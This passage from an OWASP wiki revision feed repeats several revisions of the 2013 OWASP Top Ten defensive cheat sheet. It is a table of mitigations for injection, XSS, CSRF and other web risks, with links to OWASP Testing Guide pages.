*Validate user is authenticated<br />
*Validate role is sufficient for this view<br />
<br />
''Render:''<br />
*Send CSRF token.<br />
*Set "secure" and "HttpOnly" flags for session cookies.<br />
||<br />
*Validate CSRF token.<br />
*Validate role is sufficient to perform this action.<br />
*Validate role is sufficient.<br />
<br />
''Tip: CSRF is '''always '''possible if there is XSS, so make sure XSS is eliminated within your application.''<br />
||Validate role is sufficient to create, read, update, or delete data<br />
<br />
||<br />
* [[Testing for CSRF (OTG-SESS-005)]]<br />
<br />
|-<br />
|'''A9 Using Components with Known Vulnerabilities'''<br />
||<br />
<br />
<br />
||<br />
<br />
<br />
||<br />
<br />
<br />
||<br />
* [[Enumerate Applications on Webserver (OTG-INFO-004)]]<br />
|-<br />
<br />
|-<br />
|'''A10 Unvalidated Redirects and Forwards'''<br />
||<br />
*Design the app without URL redirection parameters.<br />
<br />
or<br />
<br />
''Render:''<br />
*Use random indirect object references for redirection parameters.<br />
<br />
||<br />
*Design the app without URL redirection parameters.<br />
<br />
or<br />
<br />
*Obtain direct redirection parameter from random indirect reference access map.<br />
*(LR) Positive validation of redirection parameter.<br />
*(NR) Java – Do not forward() requests as this prevents SSO access control mechanisms.<br />
<br />
||<br />
*Validate role is sufficient to create, read, update, or delete data.<br />
<br />
||<br />
* [[Testing for Client Side URL Redirect (OTG-CLIENT-004)]]<br />
<br />
|-<br />
|}<br />
<br />
= Authors and Primary Editors =<br />
<br />
Andrew van der Stock vanderaj[at]owasp.org<br />
<br />
Ismael Rocha Gonçalves ismaelrg[at]gmail.com<br />
<br />
Jorge Correa jacorream@gmail.com<br />
<br />
= Other Cheatsheets =<br />
<br />
{{Cheatsheet_Navigation_Body}}<br />
<br />
[[Category:Cheatsheets]]</div>Dan Wallishttps://wiki.owasp.org/index.php?title=OWASP_Top_Ten_Cheat_Sheet&diff=231996OWASP Top Ten Cheat Sheet2017-08-03T03:13:25Z<p>Dan Wallis: </p>
<hr />
<div> __NOTOC__<br />
<div style="width:100%;height:160px;border:0,margin:0;overflow: hidden;">[[File:Cheatsheets-header.jpg|link=]]</div><br />
<br />
= Introduction =<br />
__TOC__{{TOC hidden}}<br />
<br />
The following is a developer-centric defensive cheat sheet for the 2013 release of the [[OWASP Top Ten Project]]. It also presents a quick reference based on [[OWASP Testing Project]] to help how to identify the risks.<br />
<br />
= OWASP Top Ten Cheat Sheet =<br />
<br />
{| border=1<br />
| <br />
||'''Presentation'''<br />
||'''Controller'''<br />
||'''Model'''<br />
||'''Testing (OWASP Testing Guide V4)'''<br />
<br />
|-<br />
|'''A1 Injection'''<br />
||<br />
<br />
''Render:''<br />
*Set a correct content type<br />
*Set safe character set (UTF-8)<br />
*Set correct locale<br />
<br />
''On Submit:''<br />
*Enforce input field type and lengths.<br />
*Validate fields and provide feedback.<br />
*Ensure option selects and radio contain only sent values.<br />
||'''Canonicalize using correct character set'''<br />
'''Positive input validation using correct character set'''<br />
<br />
(NR) Negative input validation.<br />
(LR) Sanitize input.<br />
<br />
''Tip: updating a negative list (such as looking for "script", "sCrIpT", "ßCrîpt", etc) will require expensive and constant deployments and will '''always '''fail as attackers work out your list of "bad" words. Positive validation is simpler, faster and usually more secure and needs updating far less than any other validation mechanism. ''<br />
||*'''[https://www.owasp.org/index.php/Query_Parameterization_Cheat_Sheet Parameterized queries]'''<br />
<br />
*Object relational model (Hibernate).<br />
*Active Record design pattern.<br />
*Stored procedures.<br />
<br />
*Escape mechanisms such as ESAPI's Encoder:<br />
**EncodeForLDAP()<br />
**Encoder.EncodeforOS()<br />
<br />
''Tip: '''All '''SQL Injection is due to dynamic SQL queries. Strongly consider prohibiting dynamic SQL queries within your organization ''<br />
<br />
||<br />
* [[Testing for SQL Injection (OTG-INPVAL-005)]]<br />
* [[Testing for LDAP Injection (OTG-INPVAL-006)]]<br />
* [[Testing for ORM Injection (OTG-INPVAL-007)]]<br />
* [[Testing for XML Injection (OTG-INPVAL-008)]]<br />
* [[Testing for SSI Injection (OTG-INPVAL-009)]]<br />
* [[Testing for XPath Injection (OTG-INPVAL-010)]]<br />
* [[Testing for IMAP/SMTP Injection (OTG-INPVAL-011)]]<br />
* [[Testing for Code Injection (OTG-INPVAL-012)]]<br />
* [[Testing for Command Injection (OTG-INPVAL-013)]]<br />
* [[Testing for Buffer Overflow (OTG-INPVAL-014)]]<br />
<br />
|-<br />
|'''A2 Weak authentication and session management'''<br />
||''Render:''<br />
*Validate user is authenticated.<br />
*Validate role is sufficient for this view.<br />
*Set "secure" and "HttpOnly" flags for session cookies.<br />
*Send CSRF token with forms.<br />
<br />
||''Design:''<br />
*Only use inbuilt session management.<br />
*Store secondary SSO / framework / custom session identifiers in native session object – do not send as additional headers or cookies.<br />
<br />
*Validate user is authenticated.<br />
*Validate role is sufficient to perform this action.<br />
*Validate CSRF token.<br />
||Validate role is sufficient to create, read, update, or delete data<br />
<br />
''Tip: Consider the use of a "governor" to regulate the maximum number of requests per second / minute / hour that this user may perform. For example, a typical banking user should not perform more than ten transactions a minute, and one hundred per second is dangerous and should be blocked.''<br />
<br />
||<br />
* [[Test Role Definitions (OTG-IDENT-001)]]<br />
* [[Test User Registration Process (OTG-IDENT-002)]]<br />
* [[Test Account Provisioning Process (OTG-IDENT-003)]]<br />
* [[Testing for Account Enumeration and Guessable User Account (OTG-IDENT-004)]]<br />
* [[Testing for Weak or unenforced username policy (OTG-IDENT-005)]]<br />
* [[Testing for Credentials Transported over an Encrypted Channel (OTG-AUTHN-001)]]<br />
* [[Testing for default credentials (OTG-AUTHN-002)]]<br />
* [[Testing for Weak lock out mechanism (OTG-AUTHN-003)]]<br />
* [[Testing for Bypassing Authentication Schema (OTG-AUTHN-004)]]<br />
* [[Testing for Vulnerable Remember Password (OTG-AUTHN-005)]]<br />
* [[Testing for Browser cache weakness (OTG-AUTHN-006)]]<br />
* [[Testing for Weak password policy (OTG-AUTHN-007)]]<br />
* [[Testing for Weak security question/answer (OTG-AUTHN-008)]]<br />
* [[Testing for weak password change or reset functionalities (OTG-AUTHN-009)]]<br />
* [[Testing for Weaker authentication in alternative channel (OTG-AUTHN-010)]]<br />
* [[Testing for Bypassing Authorization Schema (OTG-AUTHZ-002)]]<br />
* [[Testing for Privilege escalation (OTG-AUTHZ-003)]]<br />
* [[Testing for Session Management Schema (OTG-SESS-001)]]<br />
* [[Testing for cookies attributes (OTG-SESS-002)]]<br />
* [[Testing for Session Fixation (OTG-SESS-003)]]<br />
* [[Testing for Exposed Session Variables (OTG-SESS-004)]]<br />
* [[Testing for CSRF (OTG-SESS-005)]]<br />
* [[Testing for logout functionality (OTG-SESS-006)]]<br />
* [[Test Session Timeout (OTG-SESS-007)]]<br />
* [[Testing for Session puzzling (OTG-SESS-008)]]<br />
<br />
|-<br />
|'''A3 XSS'''<br />
||<br />
<br />
''Render:''<br />
*Set correct content type<br />
*Set safe character set (UTF-8)<br />
*Set correct locale<br />
*Output encode all user data as per output context<br />
*Set input constraints<br />
<br />
''On Submit:''<br />
*Enforce input field type and lengths.<br />
*Validate fields and provide feedback.<br />
*Ensure option selects and radio contain only sent values.<br />
||'''Canonicalize using correct character set'''<br />
'''Positive input validation using correct character set'''<br />
<br />
(NR) Negative input validation <br />
(LR) Sanitize input <br />
<br />
''Tip: Only process data that is 100% trustworthy. Everything else is hostile and should be rejected.''<br />
||''Tip: Do not store data HTML encoded in the database. This prevents new uses for the data, such as web services, RSS feeds, FTP batches, data warehousing, cloud computing, and so on.''<br />
<br />
''Tip: Use OWASP Scrubbr to clean tainted or hostile data from legacy data''<br />
<br />
||<br />
* [[Testing for Reflected Cross site scripting (OTG-INPVAL-001)]]<br />
* [[Testing for Stored Cross site scripting (OTG-INPVAL-002)]]<br />
* [[Testing for DOM-based Cross site scripting (OTG-CLIENT-001)]]<br />
* [[Testing for JavaScript Execution (OTG-CLIENT-002)]]<br />
* [[Testing for HTML Injection (OTG-CLIENT-003)]]<br />
* [[Testing for Cross site flashing (OTG-CLIENT-008)]]<br />
<br />
|-<br />
|'''A4 Insecure Direct Object References'''<br />
||If data is from internal trusted sources, no data is sent.<br />
<br />
Or<br />
<br />
''Render:''<br />
*Send indirect random access reference map value.<br />
||Obtain data from internal, trusted sources.<br />
<br />
Or<br />
<br />
Obtain direct value from random access reference access map.<br />
||Validate role is sufficient to create, read, update, or delete data.<br />
<br />
||<br />
* [[Testing Directory traversal/file include (OTG-AUTHZ-001)]]<br />
* [[Testing for Insecure Direct Object References (OTG-AUTHZ-004)]]<br />
* [[Testing for Local File Inclusion]]<br />
* [[Testing for Remote File Inclusion]]<br />
<br />
|-<br />
|'''A5 Security Misconfiguration'''<br />
||Ensure web servers and application servers are hardened.<br />
<br />
PHP: Ensure allow_url_fopen and allow_url_include are both disabled in php.ini. Consider the use of Suhosin extension <br />
||Ensure web servers and application servers are hardened <br />
<br />
XML: Ensure common web attacks (remote XSLT transforms, hostile XPath queries, recursive DTDs, and so on) are protected by your XML stack. Do not hand craft XML documents or queries – use the XML layer. <br />
||Ensure database servers are hardened <br />
<br />
||<br />
''[https://www.owasp.org/index.php/Fingerprint_Web_Server_(OTG-INFO-002) Fingerprint Web Server (OTG-INFO-002)]''<br />
''[https://www.owasp.org/index.php/Fingerprint_Web_Application_Framework_(OTG-INFO-008) Fingerprint Web Application Framework (OTG-INFO-008)]''<br />
''[https://www.owasp.org/index.php/Fingerprint_Web_Application_(OTG-INFO-009) Fingerprint Web Application (OTG-INFO-009)]''<br />
''[https://www.owasp.org/index.php/Test_Network/Infrastructure_Configuration_(OTG-CONFIG-001) Test Network/Infrastructure Configuration (OTG-CONFIG-001)]''<br />
''[https://www.owasp.org/index.php/Test_Application_Platform_Configuration_(OTG-CONFIG-002) Test Application Platform Configuration (OTG-CONFIG-002)]''<br />
''[https://www.owasp.org/index.php/Test_File_Extensions_Handling_for_Sensitive_Information_(OTG-CONFIG-003) Test File Extensions Handling for Sensitive Information (OTG-CONFIG-003)]''<br />
''[https://www.owasp.org/index.php/Review_Old,_Backup_and_Unreferenced_Files_for_Sensitive_Information_(OTG-CONFIG-004) Review Old, Backup and Unreferenced Files for Sensitive Information (OTG-CONFIG-004)]''<br />
''[https://www.owasp.org/index.php/Enumerate_Infrastructure_and_Application_Admin_Interfaces_(OTG-CONFIG-005) Enumerate Infrastructure and Application Admin Interfaces (OTG-CONFIG-005)]''<br />
''[https://www.owasp.org/index.php/Test_HTTP_Methods_(OTG-CONFIG-006) Test HTTP Methods (OTG-CONFIG-006)]''<br />
''[https://www.owasp.org/index.php/Test_RIA_cross_domain_policy_(OTG-CONFIG-008) Test RIA cross domain policy (OTG-CONFIG-008)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Error_Code_(OTG-ERR-001) Analysis of Error Codes (OTG-ERR-001)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Stack_Traces_(OTG-ERR-002) Analysis of Stack Traces (OTG-ERR-002)]''<br />
<br />
|-<br />
|'''A6 Sensitive Data Exposure'''<br />
||''Design:''<br />
*Use strong ciphers (AES 128 or better) with secure mode of operations (do not use ECB).<br />
*Use strong hashes (SHA 256 or better) with salts for passwords.<br />
*Protect keys more than any other asset.<br />
*Use TLS 1.2 or later for all web communications.<br />
*Buy extended validation (EV) certificates for public web servers.<br />
<br />
''Tip: Use TLS 1.2 always – even internally. Most snooping is done within corporate networks – and it is as easy and unethical as fishing with dynamite.''<br />
<br />
''Render:''<br />
*Do not send keys or hashes to the browser.<br />
<br />
||''Design:''<br />
*Use strong ciphers (AES 128 or better) with secure mode of operations (do not use ECB).<br />
*Use strong hashes (SHA 256 or better) with salts for passwords.<br />
*Protect keys more than any other asset.<br />
*Mandate strong encrypted communications between web and database servers and any other servers or administrative users.<br />
<br />
''Tip: Only certain personally identifiable information and sensitive values MUST be encrypted. Encrypt data that would be embarrassing or costly if it was leaked or stolen. ''<br />
<br />
''Tip: It is best to encrypt data on the application server, rather than the database server.''<br />
<br />
||''Design:''<br />
<br />
*Mandate strong encrypted communications with application servers and any other servers or administrative users.<br />
<br />
''Tip: Do not use RDBMS database, row or table level encryption. The data can be retrieved in the clear by anyone with direct access to the server, or over the network using the application credentials. It might even traverse the network in the clear despite being "encrypted" on disk. ''<br />
<br />
||<br />
* [[Testing for Weak SSL/TLS Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-001)]]<br />
* [[Testing for Padding Oracle (OTG-CRYPST-002)]]<br />
* [[Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-003)]]<br />
* [[Test HTTP Strict Transport Security (OTG-CONFIG-007)]]<br />
* [[Testing for Credentials Transported over an Encrypted Channel (OTG-AUTHN-001)]]<br />
<br />
|-<br />
|'''A7 Missing Function Level Access Control'''<br />
||''Design:''<br />
*Ensure all non-web data is outside the web root (logs, configuration, etc).<br />
*Use octet byte streaming instead of providing access to real files such as PDFs or CSVs or similar.<br />
*Ensure every page requires a role, even if it is "guest".<br />
<br />
''Pre-render:''<br />
*Validate user is authenticated.<br />
*Validate role is sufficient to view secured URL.<br />
<br />
''Render:''<br />
*Send CSRF token.<br />
||<br />
*Validate user is authenticated.<br />
*Validate role is sufficient to perform secured action.<br />
*Validate CSRF token.<br />
<br />
''Tip: It's impossible to control access to secured resources that the web application server does not directly serve. Therefore, PDF reports or similar should be served by the web application server using binary octet streaming. ''<br />
<br />
''Tip: Assume attackers '''will''' learn where "hidden" directories and "random" filenames are, so do not store these files in the web root, even if they are not directly linked.''<br />
||Validate role is sufficient to create, read, update, or delete data<br />
<br />
||<br />
''[https://www.owasp.org/index.php/Testing_Directory_traversal/file_include_(OTG-AUTHZ-001) Testing Directory traversal/file include (OTG-AUTHZ-001)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Bypassing_Authorization_Schema_(OTG-AUTHZ-002) Testing for bypassing authorization schema (OTG-AUTHZ-002)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Bypassing_Authentication_Schema_(OTG-AUTHN-004) Testing for bypassing authentication schema (OTG-AUTHN-004)]''<br />
<br />
|-<br />
|'''A8 Cross Site Request Forgery'''<br />
||''Pre-render:''<br />
*Validate user is authenticated<br />
*Validate role is sufficient for this view<br />
<br />
''Render:''<br />
*Send CSRF token.<br />
*Set "secure" and "HttpOnly" flags for session cookies.<br />
||<br />
*Validate CSRF token.<br />
*Validate role is sufficient to perform this action.<br />
*Validate role is sufficient.<br />
<br />
''Tip: CSRF is '''always '''possible if there is XSS, so make sure XSS is eliminated within your application.''<br />
||Validate role is sufficient to create, read, update, or delete data<br />
<br />
||<br />
* [[Testing for CSRF (OTG-SESS-005)]]<br />
<br />
|-<br />
|'''A9 Using Components with Known Vulnerabilities'''<br />
||<br />
<br />
<br />
||<br />
<br />
<br />
||<br />
<br />
<br />
||<br />
* [[Enumerate Applications on Webserver (OTG-INFO-004)]]<br />
|-<br />
<br />
|-<br />
|'''A10 Unvalidated Redirects and Forwards'''<br />
||<br />
*Design the app without URL redirection parameters.<br />
<br />
or<br />
<br />
''Render:''<br />
*Use random indirect object references for redirection parameters.<br />
<br />
||<br />
*Design the app without URL redirection parameters.<br />
<br />
or<br />
<br />
*Obtain direct redirection parameter from random indirect reference access map.<br />
*(LR) Positive validation of redirection parameter.<br />
*(NR) Java – Do not forward() requests as this prevents SSO access control mechanisms.<br />
<br />
||<br />
*Validate role is sufficient to create, read, update, or delete data.<br />
<br />
||<br />
* [[Testing for Client Side URL Redirect (OTG-CLIENT-004)]]<br />
<br />
|-<br />
|}<br />
<br />
= Authors and Primary Editors =<br />
<br />
Andrew van der Stock vanderaj[at]owasp.org<br />
<br />
Ismael Rocha Gonçalves ismaelrg[at]gmail.com<br />
<br />
Jorge Correa jacorream@gmail.com<br />
<br />
= Other Cheatsheets =<br />
<br />
{{Cheatsheet_Navigation_Body}}<br />
<br />
[[Category:Cheatsheets]]</div>Dan Wallishttps://wiki.owasp.org/index.php?title=OWASP_Top_Ten_Cheat_Sheet&diff=231995OWASP Top Ten Cheat Sheet2017-08-03T03:12:04Z<p>Dan Wallis: </p>
<hr />
<div> __NOTOC__<br />
<div style="width:100%;height:160px;border:0,margin:0;overflow: hidden;">[[File:Cheatsheets-header.jpg|link=]]</div><br />
<br />
= Introduction =<br />
__TOC__{{TOC hidden}}<br />
<br />
The following is a developer-centric defensive cheat sheet for the 2013 release of the [[OWASP Top Ten Project]]. It also presents a quick reference based on [[OWASP Testing Project]] to help how to identify the risks.<br />
<br />
= OWASP Top Ten Cheat Sheet =<br />
<br />
{| border=1<br />
| <br />
||'''Presentation'''<br />
||'''Controller'''<br />
||'''Model'''<br />
||'''Testing (OWASP Testing Guide V4)'''<br />
<br />
|-<br />
|'''A1 Injection'''<br />
||<br />
<br />
''Render:''<br />
*Set a correct content type<br />
*Set safe character set (UTF-8)<br />
*Set correct locale<br />
<br />
''On Submit:''<br />
*Enforce input field type and lengths.<br />
*Validate fields and provide feedback.<br />
*Ensure option selects and radio contain only sent values.<br />
||'''Canonicalize using correct character set'''<br />
'''Positive input validation using correct character set'''<br />
<br />
(NR) Negative input validation.<br />
(LR) Sanitize input.<br />
<br />
''Tip: updating a negative list (such as looking for "script", "sCrIpT", "ßCrîpt", etc) will require expensive and constant deployments and will '''always '''fail as attackers work out your list of "bad" words. Positive validation is simpler, faster and usually more secure and needs updating far less than any other validation mechanism. ''<br />
||*'''[https://www.owasp.org/index.php/Query_Parameterization_Cheat_Sheet Parameterized queries]'''<br />
<br />
*Object relational model (Hibernate).<br />
*Active Record design pattern.<br />
*Stored procedures.<br />
<br />
*Escape mechanisms such as ESAPI's Encoder:<br />
**EncodeForLDAP()<br />
**Encoder.EncodeforOS()<br />
<br />
''Tip: '''All '''SQL Injection is due to dynamic SQL queries. Strongly consider prohibiting dynamic SQL queries within your organization ''<br />
<br />
||<br />
* [[Testing for SQL Injection (OTG-INPVAL-005)]]<br />
* [[Testing for LDAP Injection (OTG-INPVAL-006)]]<br />
* [[Testing for ORM Injection (OTG-INPVAL-007)]]<br />
* [[Testing for XML Injection (OTG-INPVAL-008)]]<br />
* [[Testing for SSI Injection (OTG-INPVAL-009)]]<br />
* [[Testing for XPath Injection (OTG-INPVAL-010)]]<br />
* [[Testing for IMAP/SMTP Injection (OTG-INPVAL-011)]]<br />
* [[Testing for Code Injection (OTG-INPVAL-012)]]<br />
* [[Testing for Command Injection (OTG-INPVAL-013)]]<br />
* [[Testing for Buffer Overflow (OTG-INPVAL-014)]]<br />
<br />
|-<br />
|'''A2 Weak authentication and session management'''<br />
||''Render:''<br />
*Validate user is authenticated.<br />
*Validate role is sufficient for this view.<br />
*Set "secure" and "HttpOnly" flags for session cookies.<br />
*Send CSRF token with forms.<br />
<br />
||''Design:''<br />
*Only use inbuilt session management.<br />
*Store secondary SSO / framework / custom session identifiers in native session object – do not send as additional headers or cookies.<br />
<br />
*Validate user is authenticated.<br />
*Validate role is sufficient to perform this action.<br />
*Validate CSRF token.<br />
||Validate role is sufficient to create, read, update, or delete data<br />
<br />
''Tip: Consider the use of a "governor" to regulate the maximum number of requests per second / minute / hour that this user may perform. For example, a typical banking user should not perform more than ten transactions a minute, and one hundred per second is dangerous and should be blocked.''<br />
<br />
||<br />
* [[Test Role Definitions (OTG-IDENT-001)]]<br />
* [[Test User Registration Process (OTG-IDENT-002)]]<br />
* [[Test Account Provisioning Process (OTG-IDENT-003)]]<br />
* [[Testing for Account Enumeration and Guessable User Account (OTG-IDENT-004)]]<br />
* [[Testing for Weak or unenforced username policy (OTG-IDENT-005)]]<br />
* [[Testing for Credentials Transported over an Encrypted Channel (OTG-AUTHN-001)]]<br />
* [[Testing for default credentials (OTG-AUTHN-002)]]<br />
* [[Testing for Weak lock out mechanism (OTG-AUTHN-003)]]<br />
* [[Testing for Bypassing Authentication Schema (OTG-AUTHN-004)]]<br />
* [[Testing for Vulnerable Remember Password (OTG-AUTHN-005)]]<br />
* [[Testing for Browser cache weakness (OTG-AUTHN-006)]]<br />
* [[Testing for Weak password policy (OTG-AUTHN-007)]]<br />
* [[Testing for Weak security question/answer (OTG-AUTHN-008)]]<br />
* [[Testing for weak password change or reset functionalities (OTG-AUTHN-009)]]<br />
* [[Testing for Weaker authentication in alternative channel (OTG-AUTHN-010)]]<br />
* [[Testing for Bypassing Authorization Schema (OTG-AUTHZ-002)]]<br />
* [[Testing for Privilege escalation (OTG-AUTHZ-003)]]<br />
* [[Testing for Session Management Schema (OTG-SESS-001)]]<br />
* [[Testing for cookies attributes (OTG-SESS-002)]]<br />
* [[Testing for Session Fixation (OTG-SESS-003)]]<br />
* [[Testing for Exposed Session Variables (OTG-SESS-004)]]<br />
* [[Testing for CSRF (OTG-SESS-005)]]<br />
* [[Testing for logout functionality (OTG-SESS-006)]]<br />
* [[Test Session Timeout (OTG-SESS-007)]]<br />
* [[Testing for Session puzzling (OTG-SESS-008)]]<br />
<br />
|-<br />
|'''A3 XSS'''<br />
||<br />
<br />
''Render:''<br />
*Set correct content type<br />
*Set safe character set (UTF-8)<br />
*Set correct locale<br />
*Output encode all user data as per output context<br />
*Set input constraints<br />
<br />
''On Submit:''<br />
*Enforce input field type and lengths.<br />
*Validate fields and provide feedback.<br />
*Ensure option selects and radio contain only sent values.<br />
||'''Canonicalize using correct character set'''<br />
'''Positive input validation using correct character set'''<br />
<br />
(NR) Negative input validation <br />
(LR) Sanitize input <br />
<br />
''Tip: Only process data that is 100% trustworthy. Everything else is hostile and should be rejected.''<br />
||''Tip: Do not store data HTML encoded in the database. This prevents new uses for the data, such as web services, RSS feeds, FTP batches, data warehousing, cloud computing, and so on.''<br />
<br />
''Tip: Use OWASP Scrubbr to clean tainted or hostile data from legacy data''<br />
<br />
||<br />
* [[Testing for Reflected Cross site scripting (OTG-INPVAL-001)]]<br />
* [[Testing for Stored Cross site scripting (OTG-INPVAL-002)]]<br />
* [[Testing for DOM-based Cross site scripting (OTG-CLIENT-001)]]<br />
* [[Testing for JavaScript Execution (OTG-CLIENT-002)]]<br />
* [[Testing for HTML Injection (OTG-CLIENT-003)]]<br />
* [[Testing for Cross site flashing (OTG-CLIENT-008)]]<br />
<br />
|-<br />
|'''A4 Insecure Direct Object References'''<br />
||If data is from internal trusted sources, no data is sent.<br />
<br />
Or<br />
<br />
''Render:''<br />
*Send indirect random access reference map value.<br />
||Obtain data from internal, trusted sources.<br />
<br />
Or<br />
<br />
Obtain direct value from random access reference access map.<br />
||Validate role is sufficient to create, read, update, or delete data.<br />
<br />
||<br />
* [[Testing Directory traversal/file include (OTG-AUTHZ-001)]]<br />
* [[Testing for Insecure Direct Object References (OTG-AUTHZ-004)]]<br />
* [[Testing for Local File Inclusion]]<br />
* [[Testing for Remote File Inclusion]]<br />
<br />
|-<br />
|'''A5 Security Misconfiguration'''<br />
||Ensure web servers and application servers are hardened.<br />
<br />
PHP: Ensure allow_url_fopen and allow_url_include are both disabled in php.ini. Consider the use of Suhosin extension <br />
||Ensure web servers and application servers are hardened <br />
<br />
XML: Ensure common web attacks (remote XSLT transforms, hostile XPath queries, recursive DTDs, and so on) are protected by your XML stack. Do not hand craft XML documents or queries – use the XML layer. <br />
||Ensure database servers are hardened <br />
<br />
||<br />
''[https://www.owasp.org/index.php/Fingerprint_Web_Server_(OTG-INFO-002) Fingerprint Web Server (OTG-INFO-002)]''<br />
''[https://www.owasp.org/index.php/Fingerprint_Web_Application_Framework_(OTG-INFO-008) Fingerprint Web Application Framework (OTG-INFO-008)]''<br />
''[https://www.owasp.org/index.php/Fingerprint_Web_Application_(OTG-INFO-009) Fingerprint Web Application (OTG-INFO-009)]''<br />
''[https://www.owasp.org/index.php/Test_Network/Infrastructure_Configuration_(OTG-CONFIG-001) Test Network/Infrastructure Configuration (OTG-CONFIG-001)]''<br />
''[https://www.owasp.org/index.php/Test_Application_Platform_Configuration_(OTG-CONFIG-002) Test Application Platform Configuration (OTG-CONFIG-002)]''<br />
''[https://www.owasp.org/index.php/Test_File_Extensions_Handling_for_Sensitive_Information_(OTG-CONFIG-003) Test File Extensions Handling for Sensitive Information (OTG-CONFIG-003)]''<br />
''[https://www.owasp.org/index.php/Review_Old,_Backup_and_Unreferenced_Files_for_Sensitive_Information_(OTG-CONFIG-004) Review Old, Backup and Unreferenced Files for Sensitive Information (OTG-CONFIG-004)]''<br />
''[https://www.owasp.org/index.php/Enumerate_Infrastructure_and_Application_Admin_Interfaces_(OTG-CONFIG-005) Enumerate Infrastructure and Application Admin Interfaces (OTG-CONFIG-005)]''<br />
''[https://www.owasp.org/index.php/Test_HTTP_Methods_(OTG-CONFIG-006) Test HTTP Methods (OTG-CONFIG-006)]''<br />
''[https://www.owasp.org/index.php/Test_RIA_cross_domain_policy_(OTG-CONFIG-008) Test RIA cross domain policy (OTG-CONFIG-008)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Error_Code_(OTG-ERR-001) Analysis of Error Codes (OTG-ERR-001)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Stack_Traces_(OTG-ERR-002) Analysis of Stack Traces (OTG-ERR-002)]''<br />
<br />
|-<br />
|'''A6 Sensitive Data Exposure'''<br />
||''Design:''<br />
*Use strong ciphers (AES 128 or better) with secure mode of operations (do not use ECB).<br />
*Use strong hashes (SHA 256 or better) with salts for passwords.<br />
*Protect keys more than any other asset.<br />
*Use TLS 1.2 or later for all web communications.<br />
*Buy extended validation (EV) certificates for public web servers.<br />
<br />
''Tip: Use TLS 1.2 always – even internally. Most snooping is done within corporate networks – and it is as easy and unethical as fishing with dynamite.''<br />
<br />
''Render:''<br />
*Do not send keys or hashes to the browser.<br />
<br />
||''Design:''<br />
*Use strong ciphers (AES 128 or better) with secure mode of operations (do not use ECB).<br />
*Use strong hashes (SHA 256 or better) with salts for passwords.<br />
*Protect keys more than any other asset.<br />
*Mandate strong encrypted communications between web and database servers and any other servers or administrative users.<br />
<br />
''Tip: Only certain personally identifiable information and sensitive values MUST be encrypted. Encrypt data that would be embarrassing or costly if it was leaked or stolen. ''<br />
<br />
''Tip: It is best to encrypt data on the application server, rather than the database server.''<br />
<br />
||''Design:''<br />
<br />
*Mandate strong encrypted communications with application servers and any other servers or administrative users.<br />
<br />
''Tip: Do not use RDBMS database, row or table level encryption. The data can be retrieved in the clear by anyone with direct access to the server, or over the network using the application credentials. It might even traverse the network in the clear despite being "encrypted" on disk. ''<br />
<br />
||<br />
''[https://www.owasp.org/index.php/Testing_for_Weak_SSL/TLS_Ciphers,_Insufficient_Transport_Layer_Protection_(OTG-CRYPST-001) Testing for Weak SSL/TLS Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-001)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Padding_Oracle_(OTG-CRYPST-002) Testing for Padding Oracle (OTG-CRYPST-002)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Sensitive_information_sent_via_unencrypted_channels_(OTG-CRYPST-003) Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-003)]''<br />
''[https://www.owasp.org/index.php/Test_HTTP_Strict_Transport_Security_(OTG-CONFIG-007) Test HTTP Strict Transport Security (OTG-CONFIG-007)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Credentials_Transported_over_an_Encrypted_Channel_(OTG-AUTHN-001) Testing for Credentials Transported over an Encrypted Channel (OTG-AUTHN-001)]''<br />
<br />
|-<br />
|'''A7 Missing Function Level Access Control'''<br />
||''Design:''<br />
*Ensure all non-web data is outside the web root (logs, configuration, etc).<br />
*Use octet byte streaming instead of providing access to real files such as PDFs or CSVs or similar.<br />
*Ensure every page requires a role, even if it is "guest".<br />
<br />
''Pre-render:''<br />
*Validate user is authenticated.<br />
*Validate role is sufficient to view secured URL.<br />
<br />
''Render:''<br />
*Send CSRF token.<br />
||<br />
*Validate user is authenticated.<br />
*Validate role is sufficient to perform secured action.<br />
*Validate CSRF token.<br />
<br />
''Tip: It's impossible to control access to secured resources that the web application server does not directly serve. Therefore, PDF reports or similar should be served by the web application server using binary octet streaming. ''<br />
<br />
''Tip: Assume attackers '''will''' learn where "hidden" directories and "random" filenames are, so do not store these files in the web root, even if they are not directly linked.''<br />
||Validate role is sufficient to create, read, update, or delete data<br />
<br />
||<br />
''[https://www.owasp.org/index.php/Testing_Directory_traversal/file_include_(OTG-AUTHZ-001) Testing Directory traversal/file include (OTG-AUTHZ-001)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Bypassing_Authorization_Schema_(OTG-AUTHZ-002) Testing for bypassing authorization schema (OTG-AUTHZ-002)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Bypassing_Authentication_Schema_(OTG-AUTHN-004) Testing for bypassing authentication schema (OTG-AUTHN-004)]''<br />
<br />
|-<br />
|'''A8 Cross Site Request Forgery'''<br />
||''Pre-render:''<br />
*Validate user is authenticated<br />
*Validate role is sufficient for this view<br />
<br />
''Render:''<br />
*Send CSRF token.<br />
*Set "secure" and "HttpOnly" flags for session cookies.<br />
||<br />
*Validate CSRF token.<br />
*Validate role is sufficient to perform this action.<br />
*Validate role is sufficient.<br />
<br />
''Tip: CSRF is '''always '''possible if there is XSS, so make sure XSS is eliminated within your application.''<br />
||Validate role is sufficient to create, read, update, or delete data<br />
<br />
||<br />
* [[Testing for CSRF (OTG-SESS-005)]]<br />
<br />
|-<br />
|'''A9 Using Components with Known Vulnerabilities'''<br />
||<br />
<br />
<br />
||<br />
<br />
<br />
||<br />
<br />
<br />
||<br />
* [[Enumerate Applications on Webserver (OTG-INFO-004)]]<br />
|-<br />
<br />
|-<br />
|'''A10 Unvalidated Redirects and Forwards'''<br />
||<br />
*Design the app without URL redirection parameters.<br />
<br />
or<br />
<br />
''Render:''<br />
*Use random indirect object references for redirection parameters.<br />
<br />
||<br />
*Design the app without URL redirection parameters.<br />
<br />
or<br />
<br />
*Obtain direct redirection parameter from random indirect reference access map.<br />
